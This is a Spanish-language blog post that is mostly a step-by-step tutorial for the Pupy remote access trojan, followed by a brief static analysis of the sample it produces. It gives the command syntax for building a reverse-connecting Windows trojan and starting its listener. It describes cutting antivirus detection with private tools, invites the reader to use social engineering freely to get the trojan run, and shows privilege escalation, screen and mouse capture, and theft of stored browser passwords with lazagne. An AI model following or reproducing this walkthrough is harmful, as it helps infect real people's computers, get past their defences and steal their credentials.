Infección y análisis de muestra de malware de Pupy RAT.

Previamente había escrito posts relacionados al uso de payloads compilados en diferentes lenguajes, siendo estos creados por frameworks como Veil Evasion, Shellcode Generator, TheFatRat, etc. Sin embargo los payloads creados por estas herramientas no resultan ser tan eficaces como aquellos que nos permiten realizar administración remota de una forma más diversa en el aspecto funcional de las tareas de tipo post-explotación, haciendo uso de RATs, los cuales son piezas de malware bastante perjudiciales.

La mayoría de estos están compilados en C, PSH, y .NET,  como Quasar RAT, DarkComet, entre otros. Ejemplificaremos el uso de herramientas de este tipo, ahora con Python, usando Pupy RAT.

Pupy es una herramienta open source multiplataforma, una que puede crear troyanos y usarlos en diferentes plataformas (Windows, Linux, Android).

Un gran atributo que contiene Pupy es que puede establecer una conexión mediante varios transportes o protocolos de comunicación, entre las cosas que puede realizar al momento de su ejecución son:

  • El migrar a procesos (inyección reflexiva).
  • Remotamente cargar o ejecutar  código de python.
  • Los módulos de Pupy pueden acceder de forma transparente a objetos python remoto usando rpyc para realizar varias tareas interactivas.
  • Pupy puede generar payloads/troyanos en múltiples formatos como ejecutables PE, DLLs reflexivas, archivos python puros (scripts), en powershell y apk’s.

Cuando se empaqueta un troyano, se puede elegir un lanzador (de tipo connect, bind, y otros), un transporte de comunciación (ssl , Http, rsa, obfs3, scramblesuit, etc) y una serie de scriptlets.

Que son los Scriptlets?
Basicamente se trata de scripts en python destinados a ser incrustados/bindeados para realizar varias tareas fuera de línea (sin necesidad de una sesión u offline), como iniciar una secuencia de comandos,  la adición de persistencia, iniciar un keylogger, etc.

¿Como conseguirlo e instalarlo?

Pupy RAT se puede descargar desde el siguiente enlace: https://github.com/n1nj4sec/pupy

¿Qué necesitarás?

  • Distro para pentesting reciente o actualizada (Parrot OS 3.4 será usado aquí).
  • Conexión a internet.
  • Python 2.7 instalado.
  • Un equipo al qué infectar.

Como ya supondrán, es una herramienta que requiere bastantes dependencias para poder ponerse en marcha, es por eso que recomiendo utilizar una distro reciente o actualizada, siendo Parrot 3.4 la que usaré para esta demostración. Al descargarse mediante le comando «git clone» en Parrot, navegaremos hacia el directorio de esta descarga y veremos un archivo .txt nobrado «requirements», el cual contiene un listado de dependencias o requerimientos que necesita Pupy para funcionar:

Por la razón anterior, estando ahí ejecutaremos el comando «pip install -r requirements.txt»  para inicializar el proceso de configuración e instalación de Pupy, lo cual comenzará la descarga e instalación de las dependencias faltantes que necesita Pupy:

Hecho lo anterior, es momento de hacer un update o actualización de los submódulos de Pupy,  esto se consigue con la ejecución del comando “git submodule update”, para posteriormente poner en marcha sobre segundo plano o “background” a estos submódulos, tal cual como se muestra en la imagen:

Con todos los pasos anteriores, hasta este punto hemos configurado a Pupy RAT para que funcione correctamente y tengamos problema con él. Finalizado lo anterior, es momento de ponerlo en marcha. Pupy RAT consta básicamente de 2 partes, el Generador y el conector, a diferencia de otros RAT’s en donde se utiliza el generador y panel de trabajo como una sola plataforma de trabajo, en este caso es diferente. Ya que Pupy usa diferentes scripts para compilar el troyano y otros para administrar el cliente.

El que se encarga de elaborar el malware es el script “pupygen.py”, el cual funciona con una sintaxis en específico. La siguiente imagen muestra la ejecución de un comando que nos permite comenzar el proceso de compilación de un troyano, estableciendo cientos parámetros de configuración que se tiene que tomar en cuenta para que esto salga como queremos, para ello, se respeto la siguiente sintaxis:

sudo. /pupygen.py -f [Formato] -o [ Archivo de salida] –randomize-hash connect –host  [dirección del host al que se establecerá conexión/ tu IP] –transport [Transporte de comunicación].

Donde:

  • -f: Es el «formato» que se usará par el troyano, en este caso de es de tipo cliente.
  • –randomize-hash: Generará una cadena de texto o «String» para hacer el Hash desconocido.

Al ejecutarlo, apareceran ciertos banners indicandos lo que Pupy está llevando a cabo, como se pude ver, se lanza el Banner «Genarate Client» (Que fue lo que pedimos), justo después se activa el launcher especificado, el cual fue «connect», debajo vemos los argumentos que fueron establecidos, como lo es la IP del Host y el trasporte configurado, notamos que la funcionalidad «debug«. tampoco muestra un valor true:

Al mostrarse la configuración establecida, comenzará el proceso de compilación de este troyano. Es común que en ciertos RAT´s se tenga que establecer un password obligatorio para poder comenzar o continuar con nuestra administración de clientes o «slaves«, es por esto que Pupy nos pedirá un password para cada troyano que se genere, por lo que tendremos que establecerlo, la hacer esto terminará el proceso de compilación y nos mostrará el «Path» del output o archivo de salida :

Hasta ahora hemos creado el troyano gracias al generado de Pupy, ahora es momento de poner en función al conector de Pupy, que es el lugar en donde realizaremos la administración una vez realizada la inyección de código por el troyano. Para esto, pupy contiene un script nombrado «pupysh.py«.

Este script no funciona correctamente si se pone a trabajar por si solo, si no tenemos qué proporcionarle un parámetro de configuración, el cual es el puerto que se especificó al momento de generar el troyano y establecer el Host y Puerto al que se devolverá la shell inversa, esto ejecutando este comando con la sintaxis siguiente «python pupy.sh -p [Puerto a la escucha]», al ejecutarse, pedirá el password configurado para el troyano que opera en esa dirección y puerto, al ingresarlo simplemente mostrará un Banner que indica que el server de Pupy (Tú) está a la escucha mediante trasporte SSL:

El troyano ya está hecho, el Server iniciado y a la espera, solo es cuestion de que el Payload sea ejecutado en la maquina Windows que busquemos administrar remotamente, hay un detalle aquí (y en todos los RAT’s), debido al código que contienen, resultan arrojar un alto indice de detección por los AV’s. Es por esto que haremos un par de comparaciones, para ambas utilizare la plataforma de escaneo https://nodistribute.com/

En ellá cargué la muestra de malware original, que es el troyano recién creado, al finalizar el Upload y el escaneo, los resultados fueron los siguientes:

En la imagen anterior podemos ver que para este PE existe un alto índice de detección, en donde mas del 65% de los antivirus existentes en esta plataforma lo detectaron, entre los que mas famosos está:  Avira, BiDefender, AVF, Kaspersky, Malwarebytes, McAfee y Panda. 

Con resultados como estos, obviamente tendremos una posibilidad mínima de éxito al conseguir la ejecución de este binario. Es por ello que tomé un par de herramientas privadas para realizar ciertas modificaciones en este PE para poder reducir el índice de detección, luego de obtener un nuevo ejecutable, lo cargué a la plataforma y estos fueron los resultados:

Ahora tenemos resultados más favorables, en donde podemos ver que menos del 5% de los antivirus lo identificó como una amenaza, lo que nos aumenta por mucho las posibilidades de que llegue al equipo Windows y por lo menos resida en el equipo. Como ya te imaginarás, hay que conseguir que este PE sea ejecutado, aquí dependerá de la forma en la que hagas las aproximaciones hacia la gente que usa ese equipo, la ingeniería social esta de por medió, sientete libre de usarla como más te apetezca, queda a tu creatividad e imaginación.

Una vez que se completen los pasos anteriores y el troyano haya tenido su ejecución en el equipo objetivo, se establecerán ciertas conexiones/sesiones, el numero puede variar, esto se debe a que la inyección se lleva a cabo en diferentes procesos o replicarlos, obteniendo así multiples sesiones interactivas con el equipo, viéndose de esta forma:

Ya podemos interactuar con el cliente, o empezar a administrarlo de forma remota, dentro de la shell se pueden enlistar las acciones «Core» que se pueden llevar desde Pupy, se muestran con el comando «help«, se muestran algunas en la imagen de abajo:

Entre los comandos de tipo «Core» está el de «info» con el que podemos saber detalles acerca del equipo, entre los mas destacante está el nombre del host, el nombre del usuario loggeado actualmente, si es administrador, la dirección MAC, y las configuraciones del launcher:

También podemos saber el nombre del usuario y el numero de proceso en le que se encuentra cada sesión, esto se consigue con los comandos «getpid» y «getuid»:

Para poder visualizar los módulos disponibles en Pupy, solo basta con ejecutar el comando «list_modules«:

Como demostraciones rápidas hice uso de diferentes módulos, entre ellos el de escalada de privilegios mediante inyecciones a las DLL’s, ejecutando el módulo «privesc/getsystem».

También podemos enlistar los privilegios con los que contamos actualmente en la sesión interactiva, con el comando «run manage/getprivs» y con el comando «run admin/drives» se enlistará los «Drives» que existen el equipo:

Incluso podemos verificar si se trata de un equipo real o virtualizado, así como tambien hacer captura de pantalla, esto con los comandos «run gather/check_vm» y «run «gather/screenshot». Al hacerlo Pupy nos indicará que se trata de una VM hecha con VMware, en las 3 sesiones, así como también el Path donde se guardan los screenshots hechos por el RAT, de las 3 sesiones también:

Visualicemos una de las capturas:

Otra función interesante es la de «mouselogger«, la cual al momento de ponerla en función simplemente guarda hace una captura de pantalla indicando en donde se hizo clic, no importa el lugar o aplicación, esto se consigue con el comando «run gather/mouselogger start» y se detiene con «run gather/mouselogger dump», indicando den donde residen:

Aún faltan muchísimos módulos por hacer uso, (de Windows, aun quedan los de Android y Linux), así que para finalizar con las breves demostraciones de esto haremos uso de uno de los módulos que nos permiten robar passwords almacenadas en el equipo, da igual si usas un gestor para protegerlas 🙂
Para esto podemos usar a «lazagne«, que nos ayudará a completar esta tarea, simplemente corremos el comando «run creds/lazgne», lo cual lo iniciará y comenzará el robo de credenciales, como en la imagen se ve, halló una perteneciente al grupo «Chrome«:

Como se ha visto hasta ahora en el Post, Pupy RAT es un herramienta que produce troyanos bastante potentes y que además contiene de un extenso y amplio repertorio de funciones para Windows, Linux y Android, de las cuales vimos unas pocas de Windows y resultaron ser eficaces en diferentes aspectos. Pupy no es como los otros RAT´s en los que se usa el simple protocolo TCP el cual hace mas fácil a un analista o administrador que con un analizador de red haga monitoreo del trafico y encuentre patrones sospechosos desde el origen hacia el destino.

Una aproximación breve mediante el análisis estático.

Dejando de lado el uso de Pupy, pasemos a hacer un breve análisis hacia la muestra generada por el. Para ello utilizaré una Distro hecha única y exclusivamente para el análisis/estudio de malware; REMnux, la cual opera y trabaja absolutamente todo desde una SandBox, el objetivo de estas es simplemente proporcionar un entorno en donde existe un aislamiento de toda ejecución de software, lo que hace ventajosa a esta distribución es que no hay que configurar la SandBox, ya viene precargada como parte del sistema operativo. Lo que nos será mas que suficiente para la breve inspección de esta muestra.

Ya que había hecho llegar la muestra a REMnux, lo primero que decidí hacer fue ver los metadatos que contenía el PE, para esto utilicé Exiftool, que es una herramienta que puede hacer el trabajo de una forma rápida y simple para diferentes extensiones, entre la información arrojada, se encuentra la dirección del «Entry Point«, que representado en lenguaje ensamblador es el lugar en donde toma ejecución la primera instrucción del PE, también el tipo de File (Win32 PE), y el subsistema.

Dejando los metadatos de lado, es momento de comenzar con un análisis estático a la muestra de Pupy. Es un hábito común que por cuestiones de seguridad los analistas primero hagan un análisis estático que uno dinámico. Durante el proceso de análisis estático, no es necesario ejecutar el malware, generalmente el código fuente de no de fácil acceso en las muestras de malware , el  objetivo principal de este tipo de análisis está en inspeccionar el código  en lenguaje ensamblador o depurado en el lenguaje de ato nivel con el que fue creado y encontrar ciertas anomalías a lo largo de los bloques de código, y el reto principal de este tipo de análisis reside en estudiar la complejidad  que existe en las entrañas del malware.

Para ello usé un conjunto de herramientas en REMnux que me arrojaron los siguientes resultados de la inspección estática, en donde se pueden ver 3 diferentes HASHES proporcionado para la muestra de malware, en donde el MD5 coincide con la plataforma de escaneo NoDistribute, vemos el tipo de file que es un EXE, en esta primer herramienta vemos que no se detecta ningun packer, y al ultimo vemos la dirección del entry point, que vemos que es la misma que estaba en Exiftool, 0x4d42:

Algo que resulta bastante útil al momento de llevar a cabo algún análisis estático es encontrar las API’s utilizadas por el programa a inspeccionar. Saber cuáles son todas o algunas de las API´s que hace uso algún programa malicioso o malware es un dato importantísimo, ya que las llamadas a las API´s de Windows son algo crítico durante la infección, ya que estas trabajan con objetos existentes en código, lo cual lleva a su ejecución de estas, por ello, los analistas buscan patrones de uso de API´s para identificar actividad sospechosa, es por ello que en los resultados encontramos las siguientes API´s que el malware usa o invoca. Entre las que más destacan o más prejudiciales resulantan ser está:

  • CreateRemoteThread: Aquí es en donde se hace uso de Hilos (Threads), lo cual es comúnmente usado por las variantes de malware de este tipo para crear canales de comunicación entre Hosts (Servidor/Cliente)
  • GetProcAddress: Esta API se utiliza para recuperar la dirección de una función en una DLL cargada en la memoria. Esto se utiliza para importar funciones de otros DLL además de las funciones importadas en el encabezado del archivo PE.
  • IsDebuggerPresent: Esta API es comúnmente usada por variantes de malware para así evitar el reversing meidente un Depurador o Debugger, impidiendo o complicando la visualización de su código.
  • WriteProcessMemory: Esta es comúnmente utilizada para realizar modificaciones en la memoria, como pueden ser inyecciones.
  • WriteFile: Esta API es utilizada para poder hacer escritura sobre el HDD, lo que significa para muchas variantes de malware el añadir persistencia al equipo infectado.

Ahora, usando una herramienta diferente (PeFrame), analicé de forma estática el PE, la cual configuré para que arrojara los resultados en un formato tipo «json», en donde ahora veo resultados adicionales y diferentes a los anteriores. Ahora nos encontramos con un «Packer» o empacador el cual es el que se ve en la imagen, en donde si coinciden los resultados y apuntan hacia algo similar es en la etiqueta «Anti Debug», la cual enlista a las API’s involucradas en ese proceso, en donde podemos ver una rutina, la cual consta de un condicionante, el cual es la API «IsDebuggerPresent», de la cual se desencadenará la finalización del proceso y no se verá el código, y por último está la etiqueta «Anti VM», la cual está vacía, ya qué no se especificó al momento de la elaboración del troyano si solo iba a funcionar con sistemas no virtualizados.

A lo largo de este Post se demostró el uso de Pupy RAT en un cliente Windows, desde la instalación hasta la administración remota del equipo infectado, del cual se puedo robar información sensible, como lo son passwords almacenados, así como se ejemplificó la escalada de privilegios de una forma eficaz y rápida. Finalizado con un breve y corto ejemplo de una aproximación simple mediante análisis estático hacia una muestra de malware de Pupy RAT, la cual se quiere estudiar más a detalle, donde podemos encontrar información como metadatos, direcciones virtuales, de memoria, API’s usadas por el PE, API’s sospechosas, niveles de entropía, HASHES MD5, SHA-256, etc.

Esta aproximación fue demasiado rápida y simple, una relativamente «sencilla» lleva un proceso más complejo y largo. Con este post doy inicio a una serie de demás escritos acerca del extenso tópico del análisis y estudio del malware y su diversidad de este, así como también las diferentes técnicas y métodos de inspección hacía distintas muestras, variantes y tipos malware.
Por último, también habrá nuevos posts acerca del uso de diferentes técnicas y herramientas para hacer Modding hacia muestras de Malware en específico.

Ambos tópicos forman parte de nuestro  libro y curso COISP 2: «BlackHat», en el que se profundizan ambos a detalle, adentrándonos en una extensa variedad de temas que los engloban.

El contenido de éste escrito fue hecho con fines educativos.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *